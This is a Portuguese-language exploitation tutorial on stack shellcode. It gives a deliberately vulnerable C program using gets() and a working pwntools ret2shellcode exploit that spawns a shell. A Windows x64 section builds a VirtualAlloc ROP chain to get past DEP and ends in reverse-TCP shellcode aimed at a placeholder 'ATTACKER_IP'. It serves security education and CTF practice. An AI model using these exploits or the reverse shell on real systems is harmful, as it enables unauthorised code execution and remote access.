# Stack Shellcode {{#include ../../../banners/hacktricks-training.md}} ## Informações Básicas **Stack shellcode** é uma técnica usada em **binary exploitation** em que um atacante grava shellcode na stack de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou o **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, causando sua execução. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Abaixo está uma descrição do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**. ### Exemplo em C: Um Programa Vulnerável Vamos começar com um exemplo simples de um programa C vulnerável: ```c #include #include void vulnerable_function() { char buffer[64]; gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { vulnerable_function(); printf("Returned safely\n"); return 0; } ``` Este programa é vulnerável a um buffer overflow devido ao uso da função `gets()`. ### Compilação Para compilar este programa enquanto desabilita várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: Desativa a proteção da pilha. - `-z execstack`: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha. - `-no-pie`: Desativa Position Independent Executable (PIE), facilitando prever o endereço de memória onde nosso shellcode ficará localizado. - `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado pela simplicidade no desenvolvimento de exploits. ### Exploit em Python usando Pwntools A seguir, um exemplo de como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**: ```python from pwn import * # Set up the process and context binary_path = './vulnerable' p = process(binary_path) context.binary = binary_path context.arch = 'i386' # Specify the architecture # Generate the shellcode shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell # Find the offset to EIP offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash # Prepare the payload # The NOP slide helps to ensure that the execution flow hits the shellcode. nop_slide = asm('nop') * (offset - len(shellcode)) payload = nop_slide + shellcode payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide # Send the payload p.sendline(payload) p.interactive() ``` Este script constrói um payload composto por um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado. O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode independentemente do endereço exato. Ajuste o argumento de `p32()` para o endereço inicial do seu buffer mais um offset para cair no NOP slide. ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) No Windows moderno a stack não é executável (DEP/NX). Uma forma comum de ainda executar shellcode residente na stack após um BOF de stack é construir uma cadeia ROP de 64-bit que chama VirtualAlloc (ou VirtualProtect) a partir da Import Address Table (IAT) do módulo para tornar uma região da stack executável e então retornar para o shellcode anexado depois da cadeia. Key points (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) - RCX = lpAddress → escolha um endereço na stack atual (por exemplo, RSP) para que a região RWX recém-alocada se sobreponha ao seu payload - RDX = dwSize → grande o suficiente para sua chain + shellcode (por exemplo, 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. Minimal strategy: 1) Leak a base de um módulo (por exemplo, via format-string, object pointer, etc.) para calcular endereços absolutos de gadgets e da IAT sob ASLR. 2) Encontre gadgets para carregar RCX/RDX/R8/R9 (pop ou sequências baseadas em mov/xor) e um call/jmp [VirtualAlloc@IAT]. Se não houver pop r8/r9 direto, use gadgets aritméticos para sintetizar constantes (por exemplo, defina r8=0 e some r9=0x40 repetidamente quarenta vezes para alcançar 0x1000). 3) Coloque o stage-2 shellcode imediatamente após a chain. Example layout (conceptual): ``` # ... padding up to saved RIP ... # R9 = 0x40 (PAGE_EXECUTE_READWRITE) POP_R9_RET; 0x40 # R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic POP_R8_RET; 0x1000 # RCX = &stack (lpAddress) LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg # RDX = size (dwSize) POP_RDX_RET; 0x1000 # Call VirtualAlloc via the IAT [IAT_VirtualAlloc] # New RWX memory at RCX — execution continues at the next stack qword JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` Com um conjunto de gadgets restrito, você pode criar valores de registradores indiretamente, por exemplo: - mov r9, rbx; mov r8, 0; add rsp, 8; ret → define r9 a partir de rbx, zera r8 e compensa a pilha com um qword de lixo. - xor rbx, rsp; ret → inicializa rbx com o ponteiro de pilha atual. - push rbx; pop rax; mov rcx, rax; ret → move o valor derivado de RSP para RCX. Esboço Pwntools (dada uma base conhecida e gadgets): ```python from pwn import * base = 0x7ff6693b0000 IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing rop = b'' # r9 = 0x40 rop += p64(base+POP_RBX_RET) + p64(0x40) rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK' # rcx = rsp rop += p64(base+POP_RBX_RET) + p64(0) rop += p64(base+XOR_RBX_RSP_RET) rop += p64(base+PUSH_RBX_POP_RAX_RET) rop += p64(base+MOV_RCX_RAX_RET) # r8 = 0x1000 via arithmetic if no pop r8 for _ in range(0x1000//0x40): rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET) # rdx = 0x1000 (use any available gadget) rop += p64(base+POP_RDX_RET) + p64(0x1000) # call VirtualAlloc and land in shellcode rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` Dicas: - VirtualProtect funciona de forma semelhante se for preferível tornar um buffer existente RX; a ordem dos parâmetros é diferente. - Se o espaço na stack estiver curto, aloque RWX em outro lugar (RCX=NULL) e jmp para essa nova região em vez de reutilizar a stack. - Sempre contabilize gadgets que ajustam RSP (e.g., add rsp, 8; ret) inserindo qwords inúteis. - [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **deve ser desativado** para que o endereço seja confiável entre execuções; caso contrário o endereço onde a função será armazenada não será sempre o mesmo e você precisará de algum leak para descobrir onde a função win foi carregada. - [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados, caso contrário o endereço de retorno EIP comprometido nunca será seguido. - [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) a proteção **stack** impediria a execução do shellcode dentro da stack porque essa região não será executável. ## Outros Exemplos & Referências - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - 64bit, ASLR com leak de endereço da stack, escrever shellcode e pular para ele - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - 32 bit, ASLR com leak da stack, escrever shellcode e pular para ele - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - 32 bit, ASLR com leak da stack, comparação para impedir a chamada a exit(), sobrescrever variável com um valor e escrever shellcode e pular para ele - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64, sem ASLR, ROP gadget para tornar a stack executável e pular para o shellcode na stack ## Referências - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) {{#include ../../../banners/hacktricks-training.md}}